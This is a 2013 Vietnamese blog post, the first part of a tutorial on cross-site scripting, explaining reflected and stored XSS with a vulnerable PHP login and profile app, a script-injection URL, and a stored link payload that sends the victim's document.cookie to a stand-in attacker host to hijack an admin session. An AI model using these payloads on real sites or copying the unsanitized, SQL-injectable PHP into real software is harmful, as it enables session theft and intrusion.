Saturday, July 27, 2013

[Phần 1]XSS Là Gì ? Cách tìm và khai thác !

Xin chào , hôm nay tôi sẽ viết 1 bài về XSS , cách khai tác và phòng tránh nó ! Let's go .

Tôi sẽ dựa vào 1 số khái niệm cơ bản từ Blog Soleil để khái quát cho các bạn hiểu !
1. XSS là gì ?
- Định nghĩa XSS được hiểu là CrossSite-Scripting , một kỹ thuật hack web phổ biến nhất hiện nay bằng cách chèn vào các URL, các textbox trong thẻ HTML những đoạn Script nguy hiểm từ đó chiếm quyền điều khiển victim và victim sẽ thực hiện những mệnh lệnh được đưa ra ! Ngoài ra nó cũng là một trong những vấn đề bảo mật của nhà phát triển web và người sử dụng web . 
- Những đoạn mã được chèn vào hầu hết được viết bằng Client-Site Script như JavaScript, JScript, DHTML .
2. Nguyên lý hoạt động XSS .
- Khi bạn truy cập vào 1 đường dẫn đã bị chèn mã  độc, bạn sẽ gởi gửi các request từ máy client đến server nhằm chèn vào đó các thông tin vượt quá tầm kiểm soát của server từ đó cookies , mật khẩu của bạn được lưu trên trình duyệt sẽ gởi về attacker thông qua Email hay 1 file nào đó trong host đã được thiết lập từ trước hoặc bị cài backdoor , malware, virus vào máy victim hoặc bạn có thể trở thành công cụ tấn công của attacker !
3. Loại XSS.
- Có 2 loại XSS cơ bản :
1. Persistent
2. Non-Persistent Type
- Non-Presistent Type : là loại XSS phổ biến được dùng hiện nay , nó đòi hỏi victim truy cập vào 1 đường dẫn mà attacker đã thiết lập sẵn , khi victim truy cập vào các liên kết đó các đoạn mã độc sẽ thực thi bởi trình duyệt của victim, bạn sẽ hiểu cụ thể hơn dưới ví dụ sau :
Ví dụ : 
Đây là đoạn mã sẽ bị chèn XSS !
<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
echo "<a href="http://yoursite.com/">Click to Download</a>";
?>
Khi chèn XSS sẽ có dạng như sau : 
http://yoursite.com/index.php?name=guest<script>alert('VVTeam')</script>
- Presistent : trong trường hợp này các đoạn mã độc sẽ được lưu trữ trong database, phương pháp này sẽ làm thay đổi cấu trúc website hiện tại . 
Ví dụ Presistent XSS Attack :
login.php
<?php
$Host= 'localhost';
$Dbname= 'app';
$User= 'yyy';
$Password= 'xxx';
$Schema = 'test';

$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";

/* Connect with database asking for a new connection*/
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);

/* Error checking the connection string */
if (!$Connect) {
 echo "Database Connection Failure";
 exit;
}

$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";

$result=pg_query($Connect,$query);
$row=pg_fetch_array($result,NULL,PGSQL_ASSOC);

$user_pass = md5($_POST['pass_word']);
$user_name = $row['user_name'];

if(strcmp($user_pass,$row['password'])!=0) {
 echo "Login failed";
}
else {
 # Start the session
 session_start();
 $_SESSION['USER_NAME'] = $user_name;
 echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
}
?>

home.php
<?php
session_start();
if(!$_SESSION['USER_NAME']) {
 echo "Need to login";
}
else {
 $Host= 'localhost';
 $Dbname= 'app';
 $User= 'yyy';
 $Password= 'xxx';
 $Schema = 'test';
 $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
 $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
 if($_SERVER['REQUEST_METHOD'] == "POST") {
  $query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";
  pg_query($Connect,$query);
  echo "Update Success";
 }
 else {
  if(strcmp($_SESSION['USER_NAME'],'admin')==0) {
   echo "Welcome admin<br><hr>";
   echo "List of user's are<br>";
   $query = "select display_name from $Schema.members where user_name!='admin'";
   $res = pg_query($Connect,$query);
   while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {
    echo "$row[display_name]<br>";
   }
 }
 else {
  echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
  echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
  echo "<input type=\"submit\" value=\"Update\">";
 }
}
}
?>

Bây giờ attacker sẽ đăng nhập với quyền User như sau :
<a href=# onclick=\"document.location=\'http://remotesite.com/xss.php?c=\'+escape\(document.cookie\)\;\">VVTeam</a>
Khi victim truy cập vào hệ thống , victim sẽ thấy 1 user có tên : VVTeam trùng với tên dùng khác , Victim sẽ nhấp vào liên kết ấy nó sẽ gởi cookies , Session ID đến website của attacker ! Ngay lúc đó attacker có thể gởi các yêu cầu đến website và đăng nhập với quyền là Admin dựa vào các Session ID cho đến khi nó hết hạn !

xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3
4. Mức độ nguy hiểm của XSS :
- Ăn cắp Cookies 
- Cướp session làm việc
- Cài Malware,Virus,backdoor vào máy victim
- Deface Website tuy nhiên nó chỉ nằm ở phần bề mặt của Website chứ không làm thay đổi cấu trúc Website

Đến đây tôi xin tạm dừng và phần tiếp theo tôi sẽ viết tiếp sau khi ngủ dậy :D

No comments:

Post a Comment